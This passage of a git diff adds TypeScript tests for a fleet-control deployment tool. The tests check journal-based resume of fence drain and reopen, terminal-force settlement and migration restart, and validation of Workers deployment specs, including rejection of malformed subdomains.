+            bodies.push(Buffer.from(init.body, 'utf8'));
+        }
+        return originalFetch(input, init);
+      });
+    cleanup.push(async () => {
+      capture.mockRestore();
+    });
+    const child = await childResume(f, 'fence-reopen-after-settle');
+    expect(child.stdout).toContain('SCENARIO_FAULT fence-reopen-after-settle');
+    expect(child.result).toBeNull();
+    expect(bodies).toHaveLength(1);
+    const saved = JSON.parse(
+      await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'),
+    ) as { scenario: DirectScenarioState };
+    expect(saved.scenario).toMatchObject({
+      phase: 'fence-reopen',
+      failure: null,
+      mutation: {
+        outcome: 'returned',
+        action: { kind: 'tenant-fence', operation: 'reopen', role: 'a' },
+      },
+      proofs: {
+        fence: {
+          reopen: { a: { after: null, ordinal: null } },
+          sweeps: {
+            a: {
+              second: { fence: { state: 'draining' } },
+              intervalMs: expect.any(Number),
+            },
+          },
+        },
+      },
+    });
+    const inventoryCount = () =>
+      f.native.projection.requests.filter((request) => {
+        const url = new URL(request.url);
+        return url.hostname === hostname && url.pathname === '/admin/inventory';
+      }).length;
+    const beforeInventory = inventoryCount();
+    const record = await f.native.fleetStore.get(
+      f.local.prepared.names.roles.a.tenantTag,
+      f.local.prepared.manifest.environment,
+    );
+    const database = f.native.world.databases.find(
+      (entry) => entry.databaseId === record?.databaseId,
+    )?.d1;
+    if (!database) throw new Error('missing fixture database for role a');
+    const resumed = await resume(f);
+    const result = await runDirectCredentialedScenario(f.input(resumed));
+    expect(result.status).toBe('complete');
+    const proof = resumed.snapshot().scenario?.proofs.fence;
+    expect(JSON.stringify(proof?.reopen.a?.before)).toBe(
+      JSON.stringify(saved.scenario.proofs.fence.reopen.a?.before),
+    );
+    expect(JSON.stringify(proof?.sweeps.a?.second)).toBe(
+      JSON.stringify(saved.scenario.proofs.fence.sweeps.a?.second),
+    );
+    expect(proof?.sweeps.a?.intervalMs).toBe(
+      saved.scenario.proofs.fence.sweeps.a?.intervalMs,
+    );
+    expect(bodies).toHaveLength(2);
+    expect(bodies[1]).toEqual(bodies[0]);
+    expect(inventoryCount()).toBe(beforeInventory);
+    expect(proof?.reopen.a?.after).toMatchObject({
+      state: 'open',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+    });
+    const revision = (proof?.reopen.a?.before.transitionRevision ?? -1) + 1;
+    expect(proof?.reopen.a?.after?.transitionRevision).toBe(revision);
+    expect(
+      database.queryDatabase(
+        `SELECT mutation_epoch, transition_revision FROM ${EXECUTION_FENCE_TABLE} WHERE id = ?`,
+        [EXECUTION_FENCE_ROW_ID],
+      ),
+    ).toEqual([{ mutation_epoch: 1, transition_revision: revision }]);
+  });
+
+  it('resumes a split drain without repeating completed role work', async () => {
+    const f = await fixture();
+    const child = await childResume(f, 'fence-drain-role-split');
+    expect(child.stdout).toContain('SCENARIO_FAULT fence-drain-role-split');
+    expect(child.result).toBeNull();
+    const saved = JSON.parse(
+      await readFile(join(f.local.journal.directory, 'journal.json'), 'utf8'),
+    ) as { scenario: DirectScenarioState };
+    expect(saved.scenario).toMatchObject({
+      phase: 'fence-drain',
+      failure: null,
+      mutation: {
+        outcome: 'returned',
+        action: { kind: 'tenant-fence', operation: 'drain', role: 'a' },
+      },
+      lastCall: {
+        outcome: 'returned',
+        action: { kind: 'tenant-fence', operation: 'read', role: 'b' },
+      },
+      proofs: {
+        fence: {
+          drain: {
+            a: { after: { state: 'draining', mutationEpoch: 1 } },
+            b: { after: null, ordinal: null },
+          },
+          sweeps: { a: { first: { fence: { state: 'draining' } } } },
+        },
+      },
+    });
+    const requests = () =>
+      f.native.projection.requests.filter((request) => {
+        const url = new URL(request.url);
+        return (
+          url.hostname === f.local.prepared.names.roles.a.routeHostname &&
+          (url.pathname === '/admin/execution-fence' ||
+            url.pathname === '/admin/inventory')
+        );
+      }).length;
+    const beforeRequests = requests();
+    const resumed = await resume(f);
+    expect(await runDirectCredentialedScenario(f.input(resumed))).toEqual({
+      status: 'restart-required',
+    });
+    const drained = resumed.snapshot().scenario?.proofs.fence;
+    expect(requests()).toBe(beforeRequests);
+    expect(JSON.stringify(drained?.drain.a)).toBe(
+      JSON.stringify(saved.scenario.proofs.fence.drain.a),
+    );
+    expect(JSON.stringify(drained?.sweeps.a?.first)).toBe(
+      JSON.stringify(saved.scenario.proofs.fence.sweeps.a?.first),
+    );
+    expect(JSON.stringify(drained?.drain.b?.before)).toBe(
+      JSON.stringify(saved.scenario.proofs.fence.drain.b?.before),
+    );
+    expect(drained?.drain.b).toMatchObject({
+      after: { state: 'draining', mutationEpoch: 1 },
+      ordinal: expect.any(Number),
+    });
+    await resumed.close();
+    await f.native.reload();
+    const completed = await childResume(f);
+    expect(completed.result).toMatchObject({ status: 'complete' });
+    if (completed.result?.status !== 'complete')
+      throw new Error('scenario did not complete');
+    expect(completed.result.facts.fence.drain.a).toEqual(
+      saved.scenario.proofs.fence.drain.a,
+    );
+  });
+});
+
+describe('scenario resume re-entry against a settled journal', () => {
+  const OPERATION_INPUT = '{"records":[]}';
+  const OPERATION_ID = 'migration-operation';
+  const ENTRY_DIGEST = 'e'.repeat(64);
+  const TARGET_DIGEST = 'f'.repeat(64);
+  const SPEC_DIGEST = 'd'.repeat(64);
+
+  type Journal = Awaited<ReturnType<typeof scenarioJournal>>;
+
+  const remoteOperation = () => ({
+    slot: 'migration-next' as const,
+    operationId: OPERATION_ID,
+    inputJson: OPERATION_INPUT,
+    tokenRevision: 1,
+  });
+
+  const remoteRecord = (role: 'a' | 'b' | 'recovery') => ({
+    role,
+    present: true,
+    phase: 'ready',
+    desiredSpecDigest: SPEC_DIGEST,
+    pendingSpecDigest: SPEC_DIGEST,
+    artifactVersion: `version-${role}`,
+    pendingArtifactVersion: `version-${role}`,
+    databaseId: `database-${role}`,
+  });
+
+  const migrationItems = (f: Journal['f']) =>
+    (['a', 'b'] as const).map((role, index) => ({
+      ordinal: index,
+      tenantTag: f.prepared.names.roles[role].tenantTag,
+      environment: f.prepared.config.environment,
+      status: index === 0 ? 'active' : 'pending',
+      planCursor: 0,
+      entryRecordDigest: ENTRY_DIGEST,
+      targetSpecDigest: TARGET_DIGEST,
+      plan: [{ step: 'arm-maintenance' }, { step: 'promote' }],
+    }));
+
+  const witness = (f: Journal['f']) => {
+    const claimJson = JSON.stringify({
+      operationId: OPERATION_ID,
+      revision: 1,
+    });
+    const returnedTokenJson = JSON.stringify({
+      operationId: OPERATION_ID,
+      revision: 2,
+    });
+    return {
+      claimJson,
+      returnedTokenJson,
+      interruption: JSON.stringify({
+        version: 1,
+        boundary: 'after-migration-admission',
+        slot: 'migration-next',
+        operationId: OPERATION_ID,
+        claimJson,
+        returnedTokenJson,
+        item: {
+          ordinal: 0,
+          beforeStatus: 'pending',
+          afterStatus: 'active',
+          planCursor: 0,
+          tenantTag: f.prepared.names.roles.a.tenantTag,
+          environment: f.prepared.config.environment,
+          entryRecordDigest: ENTRY_DIGEST,
+          targetSpecDigest: TARGET_DIGEST,
+        },
+      }),
+    };
+  };
+
+  function reference(journal: Journal, options: { interrupted: boolean }) {
+    const { f, journal: handle } = journal;
+    const proof = witness(f);
+    const actions: DirectReferenceAction[] = [];
+    let interruption = options.interrupted ? proof.interruption : null;
+    const control = () => ({
+      binding: {
+        version: 1,
+        accountId: 'account',
+        fleetDatabaseId: 'fleet-uuid',
+        quotaDatabaseId: 'quota-uuid',
+        exportBucketName: f.prepared.names.exportBucket,
+        referenceModuleSetSha256: f.prepared.referenceModuleSetSha256,
+        accountWorkersDevSubdomain: 'attested-account',
+      },
+      operations: [remoteOperation()],
+      records: (['a', 'b', 'recovery'] as const).map(remoteRecord),
+      interruption,
+      forceBefore: null,
+      forceAfter: null,
+    });
+    const invocation: DirectInvocationClient = {
+      async invoke(action) {
+        actions.push(action);
+        const reservation = await handle.reserveInvocation(
+          JSON.stringify({
+            contractVersion: 1,
+            configSha256: f.prepared.configSha256,
+            action,
+          }),
+        );
+        await handle.settleInvocation(reservation);
+        const attempts = { provider: 0, maintenance: 0, application: 0 };
+        if (handle.snapshot().scenario?.phase === 'migration')
+          throw new DirectInvocationError('reference-refused', attempts);
+        if (action.kind === 'control-read')
+          return { result: control(), attempts };
+        if (action.kind === 'migration-page')
+          return { result: { done: true, items: migrationItems(f) }, attempts };
+        if (action.kind === 'migration-start')
+          return { result: { status: 'pending' }, attempts };
+        if (action.kind === 'migration-continue') {
+          if (!action.token) {
+            interruption = proof.interruption;
+            throw new DirectInvocationError('injected-response-loss', attempts);
+          }
+          return {
+            result: {
+              status: 'pending',
+              token: JSON.parse(proof.returnedTokenJson),
+              itemOrdinal: 0,
+              planCursor: 0,
+            },
+            attempts,
+          };
+        }
+        throw new Error(`unexpected fixture action ${action.kind}`);
+      },
+    };
+    return { actions, invocation, proof, control };
+  }
+
+  function seed(
+    phase: MutableScenario['phase'],
+    mutate: (state: MutableScenario) => void,
+  ): MutableScenario {
+    return scenarioWith((state) => {
+      state.phase = phase;
+      state.failure = null;
+      state.lastCall = null;
+      state.mutation = null;
+      state.operations = [
+        {
+          slot: 'migration-next',
+          operationId: OPERATION_ID,
+          inputSha256: hash(OPERATION_INPUT),
+          tokenRevision: 1,
+        },
+      ];
+      state.records = (['a', 'b', 'recovery'] as const).map(remoteRecord);
+      state.proofs.restart = null;
+      state.proofs.force = null;
+      state.proofs.residual = null;
+      mutate(state);
+    });
+  }
+
+  const settledCall = (
+    kind: string,
+    outcome: string,
+    ordinal: number,
+    action: Record<string, unknown> = {},
+    attempts = { provider: 0, maintenance: 0, application: 0 },
+  ) => ({
+    ordinal,
+    action: { kind, ...action },
+    outcome,
+    attempts,
+    migration: null,
+  });
+
+  const restartProof = (
+    f: Journal['f'],
+    overrides: Record<string, unknown>,
+  ) => {
+    const proof = witness(f);
+    return {
+      process: { ...PROCESS },
+      resumedProcess: null,
+      lossOrdinal: 2,
+      operationId: OPERATION_ID,
+      witnessSha256: hash(proof.interruption),
+      claimSha256: hash(proof.claimJson),
+      successorSha256: hash(proof.returnedTokenJson),
+      itemsSha256: jsonHash(migrationItems(f)),
+      replayOrdinal: null,
+      ...overrides,
+    };
+  };
+
+  const run = (journal: Journal, invocation: DirectInvocationClient) =>
+    runDirectCredentialedScenario({
+      prepared: journal.f.prepared,
+      journal: journal.journal,
+      invocation,
+      apiToken: 'inert',
+    });
+
+  const stored = (journal: Journal): DirectScenarioState => {
+    const state = journal.journal.snapshot().scenario;
+    if (!state) throw new Error('scenario state is missing');
+    return state;
+  };
+
+  type ControlRead = { records: { role: string }[] };
+
+  const withControlRead = <Result>(
+    invocation: DirectInvocationClient,
+    rewrite: (result: Result) => object,
+  ): DirectInvocationClient => ({
+    async invoke(action) {
+      const outcome = await invocation.invoke(action);
+      if (action.kind !== 'control-read') return outcome;
+      return { ...outcome, result: rewrite(outcome.result as Result) };
+    },
+  });
+
+  const withoutRoleA = (result: ControlRead) => ({
+    ...result,
+    records: result.records.map((record) =>
+      record.role === 'a' ? { role: 'a', present: false } : record,
+    ),
+  });
+
+  const seedTerminalForceResume = async (
+    target: Journal,
+    attempts: { provider: number; maintenance: number; application: number },
+    options: {
+      persisted?: boolean;
+      identity?: 'matching' | 'absent' | 'foreign';
+    } = {},
+  ) => {
+    const identity = options.identity ?? 'matching';
+    const state = seed('force-terminal-a', (state) => {
+      state.mutation = settledCall(
+        'force-terminal',
+        'returned',
+        3,
+        { role: 'a' },
+        attempts,
+      ) as MutableScenario['mutation'];
+      present(state.mutation).before =
+        identity === 'absent'
+          ? null
+          : {
+              databaseId:
+                identity === 'foreign'
+                  ? 'foreign-database'
+                  : present(state.proofs.decommission.a).databaseId,
+              scriptName: present(state.proofs.decommission.a).scriptName,
+            };
+      state.proofs.terminalForce = { a: null };
+      present(state.proofs.steps[0]).step = 'arm-maintenance';
+      present(state.proofs.steps[1]).step = 'arm-maintenance';
+      state.proofs.restart = restartProof(target.f, {
+        resumedProcess: { ...RESUMED },
+        replayOrdinal: 3,
+      }) as MutableScenario['proofs']['restart'];
+      state.records = state.records.map((entry) =>
+        entry.role === 'a' ? recordFacts({ role: 'a', present: false }) : entry,
+      );
+    });
+    const proof = {
+      databaseId: present(state.proofs.decommission.a).databaseId,
+      scriptName: present(state.proofs.decommission.a).scriptName,
+      ordinal: 3,
+      attempts,
+    };
+    if (options.persisted) state.proofs.terminalForce.a = proof;
+    const frozen = JSON.stringify(state.proofs.terminalForce);
+    await expect(target.journal.recordScenario(state)).resolves.toBeUndefined();
+    expect(stored(target).phase).toBe('force-terminal-a');
+    const { invocation, actions } = reference(target, { interrupted: true });
+    return { state, proof, frozen, actions, invocation };
+  };
+
+  const noForceTerminal = (actions: DirectReferenceAction[]) =>
+    expect(
+      actions.filter((action) => action.kind === 'force-terminal'),
+    ).toEqual([]);
+
+  it.each([
+    ['interrupted at mutation settlement', false],
+    ['interrupted at proof persistence', true],
+  ] as const)('terminal force resume: %s', async (_title, persisted) => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const { proof, frozen, actions, invocation } =
+      await seedTerminalForceResume(
+        target,
+        { provider: 0, maintenance: 0, application: 0 },
+        { persisted },
+      );
+    await run(target, withControlRead(invocation, withoutRoleA));
+    noForceTerminal(actions);
+    expect(stored(target).phase).toBe('force-recovery');
+    expect(stored(target).proofs.terminalForce.a).toEqual(proof);
+    if (persisted)
+      expect(JSON.stringify(stored(target).proofs.terminalForce)).toBe(frozen);
+  });
+
+  it('terminal force resume: persisted nonzero-attempt witness', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const { actions, invocation } = await seedTerminalForceResume(target, {
+      provider: 1,
+      maintenance: 0,
+      application: 0,
+    });
+    const result = await run(target, withControlRead(invocation, withoutRoleA));
+    noForceTerminal(actions);
+    expect(result).toMatchObject({
+      status: 'failed',
+      reason: 'observation-mismatch',
+      phase: 'force-terminal-a',
+    });
+    expect(stored(target).proofs.terminalForce.a).toBeNull();
+  });
+
+  it.each([
+    ['persisted absent-row no-op witness', 'absent'],
+    ['persisted foreign before identity', 'foreign'],
+  ] as const)('terminal force resume: %s', async (_title, identity) => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const { actions, invocation } = await seedTerminalForceResume(
+      target,
+      { provider: 0, maintenance: 0, application: 0 },
+      { identity },
+    );
+    const result = await run(target, withControlRead(invocation, withoutRoleA));
+    noForceTerminal(actions);
+    expect(result).toMatchObject({
+      status: 'failed',
+      reason: 'observation-mismatch',
+      phase: 'force-terminal-a',
+    });
+    expect(stored(target).proofs.terminalForce.a).toBeNull();
+  });
+
+  it('terminal force resume: reconciles the mutation against the record it still holds', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const attempts = { provider: 0, maintenance: 0, application: 0 };
+    const state = seed('force-terminal-a', (state) => {
+      state.mutation = settledCall(
+        'force-terminal',
+        'returned',
+        3,
+        { role: 'a' },
+        attempts,
+      ) as MutableScenario['mutation'];
+      present(state.mutation).before = {
+        databaseId: present(state.proofs.decommission.a).databaseId,
+        scriptName: present(state.proofs.decommission.a).scriptName,
+      };
+      state.proofs.terminalForce = { a: null };
+      present(state.proofs.steps[0]).step = 'arm-maintenance';
+      present(state.proofs.steps[1]).step = 'arm-maintenance';
+      state.proofs.restart = restartProof(target.f, {
+        resumedProcess: { ...RESUMED },
+        replayOrdinal: 3,
+      }) as MutableScenario['proofs']['restart'];
+      // The mutation settled after the last reconciliation and role a is still
+      // recorded present, so the resumed run reads the deletion through the
+      // reconciliation the force permits rather than from a record that
+      // already agreed with the provider.
+      state.reconciledOrdinal = 2;
+    });
+    await target.journal.recordScenario(state);
+    expect(stored(target).records[0]).toMatchObject({
+      role: 'a',
+      present: true,
+    });
+    const { invocation, actions } = reference(target, { interrupted: true });
+    await run(target, withControlRead(invocation, withoutRoleA));
+    noForceTerminal(actions);
+    expect(stored(target).phase).toBe('force-recovery');
+    expect(stored(target).proofs.terminalForce.a).toEqual({
+      databaseId: present(state.proofs.decommission.a).databaseId,
+      scriptName: present(state.proofs.decommission.a).scriptName,
+      ordinal: 3,
+      attempts,
+    });
+    expect(stored(target).records[0]).toMatchObject({
+      role: 'a',
+      present: false,
+    });
+    expect(stored(target).reconciledOrdinal).toBeGreaterThan(3);
+  });
+
+  // Columns: the witness the reference returns, the invocation failure it
+  // raises instead, and the reason the run reports. A refused reference is the
+  // one row whose own code reaches the caller.
+  it.each([
+    ['matching identity', 'matching', null, 'observation-mismatch'],
+    ['absent row', null, null, 'observation-mismatch'],
+    ['missing identity', undefined, null, 'observation-mismatch'],
+    [
+      'extra identity key',
+      { databaseId: 'db', scriptName: 'script', extra: true },
+      null,
+      'observation-mismatch',
+    ],
+    [
+      'non-string databaseId',
+      { databaseId: 1, scriptName: 'script' },
+      null,
+      'observation-mismatch',
+    ],
+    [
+      'non-string scriptName',
+      { databaseId: 'db', scriptName: null },
+      null,
+      'observation-mismatch',
+    ],
+    // Two string members, both named, one outside the journal's identifier
+    // charset: the refusal lands before settlement, not at the persist that
+    // would follow it.
+    [
+      'out-of-charset databaseId',
+      { databaseId: 'db one', scriptName: 'script' },
+      null,
+      'observation-mismatch',
+    ],
+    ['array identity', [], null, 'observation-mismatch'],
+    [
+      'lost response',
+      undefined,
+      'injected-response-loss',
+      'observation-mismatch',
+    ],
+    ['refused response', undefined, 'reference-refused', 'reference-refused'],
+  ] as const)('terminal force settlement: %s', async (_title, witness, failure, reason) => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const state = seed('force-terminal-a', (state) => {
+      state.proofs.terminalForce = { a: null };
+      present(state.proofs.steps[0]).step = 'arm-maintenance';
+      present(state.proofs.steps[1]).step = 'arm-maintenance';
+      state.proofs.restart = restartProof(target.f, {
+        resumedProcess: { ...RESUMED },
+        replayOrdinal: 3,
+      }) as MutableScenario['proofs']['restart'];
+    });
+    const before =
+      witness === 'matching'
+        ? {
+            databaseId: present(state.proofs.decommission.a).databaseId,
+            scriptName: present(state.proofs.decommission.a).scriptName,
+          }
+        : witness;
+    await target.journal.recordScenario(state);
+    const { invocation, actions } = reference(target, { interrupted: true });
+    const force: DirectInvocationClient = {
+      async invoke(action) {
+        if (action.kind !== 'force-terminal') return invocation.invoke(action);
+        actions.push(action);
+        const reservation = await target.journal.reserveInvocation(
+          target.f.request(action),
+        );
+        await target.journal.settleInvocation(reservation);
+        const attempts = { provider: 0, maintenance: 0, application: 0 };
+        if (failure) throw new DirectInvocationError(failure, attempts);
+        return {
+          result: { returned: true, before, after: { present: false } },
+          attempts,
+        };
+      },
+    };
+    // Left unassigned so a row that never settles is distinguishable from one
+    // that settled on a null call.
+    let settled: DirectScenarioState['mutation'] | undefined;
+    const journal: DirectRunJournal = {
+      ...target.journal,
+      async recordScenario(value) {
+        await target.journal.recordScenario(value);
+        const call = stored(target).mutation;
+        if (
+          call?.action.kind === 'force-terminal' &&
+          call.outcome !== 'prepared'
+        ) {
+          settled = call;
+        }
+      },
+    };
+    const result = await runDirectCredentialedScenario({
+      prepared: target.f.prepared,
+      journal,
+      invocation: force,
+      apiToken: 'inert',
+    });
+    expect(result).toMatchObject({
+      status: 'failed',
+      phase: 'force-terminal-a',
+      reason,
+    });
+    expect(
+      actions.filter((action) => action.kind === 'force-terminal'),
+    ).toHaveLength(1);
+    expect(stored(target).proofs.terminalForce.a).toBeNull();
+    if (witness === 'matching')
+      expect(settled).toMatchObject({
+        outcome: 'returned',
+        before,
+        attempts: { provider: 0, maintenance: 0, application: 0 },
+      });
+    else if (failure)
+      expect(settled).toMatchObject({
+        outcome: failure,
+        before: null,
+        attempts: { provider: 0, maintenance: 0, application: 0 },
+      });
+    else if (witness === null)
+      expect(settled).toMatchObject({
+        outcome: 'returned',
+        before: null,
+        attempts: { provider: 0, maintenance: 0, application: 0 },
+      });
+    else {
+      expect(settled).toBeUndefined();
+      expect(stored(target).mutation?.outcome).toBe('prepared');
+      expect(stored(target).mutation).not.toHaveProperty('before');
+      expect(stored(target).failure?.code).toBe('observation-mismatch');
+    }
+  });
+
+  it('refuses a control read that repeats an operation slot', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    await target.journal.recordScenario(
+      seed('migration-start', () => {}) as DirectScenarioState,
+    );
+    const { invocation } = reference(target, { interrupted: false });
+    const duplicating = withControlRead(
+      invocation,
+      (result: { operations: readonly unknown[] }) => ({
+        ...result,
+        operations: [...result.operations, ...result.operations],
+      }),
+    );
+    expect(await run(target, duplicating)).toMatchObject({
+      status: 'failed',
+      reason: 'observation-mismatch',
+      phase: 'migration-start',
+    });
+    expect(stored(target).failure).toMatchObject({
+      code: 'observation-mismatch',
+    });
+  });
+
+  it.each([
+    'platform-page',
+    'transport-failure',
+    'non-contract-answer',
+    'delivery-window-expired',
+  ] as const)('persists invocation outcome-unknown detail %s in scenario failure', async (detail) => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const invocation: DirectInvocationClient = {
+      async invoke() {
+        throw new DirectInvocationError(
+          'outcome-unknown',
+          undefined,
+          undefined,
+          detail,
+        );
+      },
+    };
+    expect(await run(target, invocation)).toMatchObject({
+      status: 'failed',
+      reason: 'outcome-unknown',
+      detail,
+    });
+    expect(stored(target).failure).toMatchObject({
+      code: 'outcome-unknown',
+      detail,
+    });
+  });
+
+  it('re-raises the persisted refusal detail on resume', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    await target.journal.recordScenario(
+      seed('migration-start', (state) => {
+        state.failure = {
+          code: 'budget-exhausted',
+          ordinal: 3,
+          detail: 'below-scenario-floor',
+        };
+      }) as DirectScenarioState,
+    );
+    const { actions, invocation } = reference(target, { interrupted: false });
+    expect(await run(target, invocation)).toMatchObject({
+      status: 'failed',
+      reason: 'budget-exhausted',
+      detail: 'below-scenario-floor',
+      phase: 'migration-start',
+    });
+    expect(actions).toEqual([]);
+    expect(stored(target).failure).toEqual({
+      code: 'budget-exhausted',
+      ordinal: 3,
+      detail: 'below-scenario-floor',
+    });
+  });
+
+  it('reports the persisted failure code after a resume spends an invocation', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    await target.journal.recordScenario(
+      seed('migration-start', (state) => {
+        state.failure = { code: 'reference-refused', ordinal: 3 };
+      }) as DirectScenarioState,
+    );
+    const reservation = await target.journal.reserveInvocation(
+      JSON.stringify({
+        contractVersion: 1,
+        configSha256: target.f.prepared.configSha256,
+        action: { kind: 'control-read' },
+      }),
+    );
+    await target.journal.settleInvocation(reservation);
+    const { actions, invocation } = reference(target, { interrupted: false });
+    expect(await run(target, invocation)).toMatchObject({
+      status: 'failed',
+      reason: 'reference-refused',
+      phase: 'migration-start',
+    });
+    expect(actions).toEqual([]);
+    expect(stored(target).failure).toEqual({
+      code: 'reference-refused',
+      ordinal: 3,
+    });
+  });
+
+  it('issues no second migration start and consumes the injection only at the interrupt', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    await target.journal.recordScenario(
+      seed('migration-start', (state) => {
+        const call = settledCall('migration-start', 'returned', 3);
+        state.lastCall = call as MutableScenario['lastCall'];
+        state.mutation = call as MutableScenario['mutation'];
+      }) as DirectScenarioState,
+    );
+    const { actions, invocation } = reference(target, { interrupted: false });
+    expect(await run(target, invocation)).toEqual({
+      status: 'restart-required',
+    });
+    expect(
+      actions.filter((action) => action.kind === 'migration-start'),
+    ).toEqual([]);
+    expect(
+      actions.filter((action) => action.kind === 'migration-continue'),
+    ).toHaveLength(1);
+    const state = stored(target);
+    expect(state.phase).toBe('migration-restart');
+    expect(state.proofs.restart?.process.pid).toBe(process.pid);
+    expect(state.proofs.restart?.replayOrdinal).toBeNull();
+  });
+
+  it('keeps the frozen restart proof when the interrupt re-enters after its own persist', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const frozen = restartProof(target.f, {});
+    await target.journal.recordScenario(
+      seed('migration-interrupt', (state) => {
+        const call = settledCall(
+          'migration-continue',
+          'injected-response-loss',
+          2,
+        );
+        state.lastCall = call as MutableScenario['lastCall'];
+        state.mutation = call as MutableScenario['mutation'];
+        state.proofs.restart = frozen as MutableScenario['proofs']['restart'];
+      }) as DirectScenarioState,
+    );
+    const { actions, invocation } = reference(target, { interrupted: true });
+    expect(await run(target, invocation)).toEqual({
+      status: 'restart-required',
+    });
+    expect(actions.filter((action) => action.kind !== 'control-read')).toEqual(
+      [],
+    );
+    const state = stored(target);
+    expect(state.phase).toBe('migration-restart');
+    expect(JSON.stringify(state.proofs.restart)).toBe(JSON.stringify(frozen));
+  });
+
+  it('keeps the frozen replay ordinal when the restart re-enters after its own persist', async () => {
+    const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS);
+    const frozen = restartProof(target.f, {
+      resumedProcess: { ...RESUMED },
+      replayOrdinal: 3,
+    });
+    await target.journal.recordScenario(
+      seed('migration-restart', (state) => {
+        const call = settledCall('migration-continue', 'returned', 3);
+        state.lastCall = call as MutableScenario['lastCall'];
+        state.mutation = call as MutableScenario['mutation'];
+        state.proofs.restart = frozen as MutableScenario['proofs']['restart'];
+      }) as DirectScenarioState,
+    );
+    const { actions, invocation } = reference(target, { interrupted: true });
+    expect(await run(target, invocation)).toMatchObject({
+      status: 'failed',
+      reason: 'reference-refused',
+      phase: 'migration',
+    });
+    expect(
+      actions.filter((action) => action.kind === 'migration-continue'),
+    ).toEqual([]);
+    expect(JSON.stringify(stored(target).proofs.restart)).toBe(
+      JSON.stringify(frozen),
+    );
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-spec.test.ts b/packages/fleet-control/test/direct-credentialed-spec.test.ts
new file mode 100644
index 00000000..e75dfa7b
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-spec.test.ts
@@ -0,0 +1,426 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { describe, expect, it, vi } from 'vitest';
+import { DIRECT_MAX_UPLOAD_BYTES } from '../scripts/direct-credentialed-conformance-preflight.mjs';
+import {
+  type DirectFixtureRelease,
+  type DirectFixtureRole,
+  type DirectProviderContext,
+  directDeploymentSpec,
+  generateDirectDeploymentSecrets,
+} from '../scripts/direct-credentialed-spec.js';
+import { plainWorkerIngressModule } from '../src/plain-worker-backend.js';
+import { provisionDeployment } from '../src/provision.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type {
+  FleetStateLease,
+  FleetStateStore,
+  ProvisioningBackend,
+} from '../src/types.js';
+import {
+  validateDeploymentSecrets,
+  validateDeploymentSpec,
+} from '../src/validation.js';
+import {
+  DIRECT_FIXTURE_PROVIDER,
+  directFixtureManifest,
+} from './fixtures/direct-credentialed-config.js';
+
+describe('direct fixture specifications', () => {
+  it.each([
+    undefined,
+    '',
+    'UPPER',
+    'bad.workers.dev',
+    'bad/name',
+    'bad\n',
+    'a'.repeat(64),
+  ])('rejects invalid provider subdomain %j', (subdomain) => {
+    expect(() =>
+      directDeploymentSpec(
+        directFixtureManifest(),
+        'a',
+        'initial',
+        generateDirectDeploymentSecrets(),
+        { accountWorkersDevSubdomain: subdomain } as DirectProviderContext,
+      ),
+    ).toThrow(/account Workers.dev subdomain/);
+  });
+
+  it('rejects a provider origin that overlaps the configured application origin', () => {
+    const manifest = directFixtureManifest();
+    const names = manifest.names.roles.a;
+    const changed = {
+      ...manifest,
+      names: {
+        ...manifest.names,
+        roles: {
+          ...manifest.names.roles,
+          a: {
+            ...names,
+            routeHostname: `${names.scriptName}.${DIRECT_FIXTURE_PROVIDER.accountWorkersDevSubdomain}.workers.dev`,
+          },
+        },
+      },
+    };
+    expect(() =>
+      directDeploymentSpec(
+        changed,
+        'a',
+        'initial',
+        generateDirectDeploymentSecrets(),
+        DIRECT_FIXTURE_PROVIDER,
+      ),
+    ).toThrow(/hosts must differ/);
+  });
+
+  it.each([
+    ['a', 'initial'],
+    ['a', 'next'],
+    ['b', 'initial'],
+    ['b', 'next'],
+    ['recovery', 'initial'],
+    ['recovery', 'next'],
+    ['recovery', 'failed-recovery'],
+  ] as const)('passes coordinator admission for %s/%s before any provider dispatch', async (role, release) => {
+    const secrets = generateDirectDeploymentSecrets();
+    const spec = directDeploymentSpec(
+      directFixtureManifest(),
+      role,
+      release,
+      secrets,
+      DIRECT_FIXTURE_PROVIDER,
+    );
+    const stop = new Error('reached initial store read');
+    const get = vi.fn(async () => {
+      throw stop;
+    });
+    const store: Pick<FleetStateStore, 'withDeploymentLease' | 'get'> = {
+      withDeploymentLease: async (_tenant, _environment, run) =>
+        run({} as FleetStateLease),
+      get,
+    };
+    await expect(
+      provisionDeployment({
+        spec,
+        secrets,
+        initialExecutionFenceState: 'open',
+        backend: { kind: 'plain-worker' } as ProvisioningBackend,
+        store: store as FleetStateStore,
+      }),
+    ).rejects.toBe(stop);
+    expect(get).toHaveBeenCalledOnce();
+  });
+
+  it('checks the complete tenant upload boundary including generated ingress and Wasm', () => {
+    const manifest = directFixtureManifest();
+    const secrets = generateDirectDeploymentSecrets();
+    const binary = Buffer.from([0, 97, 115, 109, 1, 0, 0, 0]);
+    const small = directDeploymentSpec(
+      manifest,
+      'a',
+      'initial',
+      secrets,
+      DIRECT_FIXTURE_PROVIDER,
+    );
+    const finalOrigin = `https://${small.scriptName}.${DIRECT_FIXTURE_PROVIDER.accountWorkersDevSubdomain}.workers.dev`;
+    const ingress = plainWorkerIngressModule({
+      ...small,
+      maintenanceBaseUrl: finalOrigin,
+    });
+    const mainBytes =
+      DIRECT_MAX_UPLOAD_BYTES -
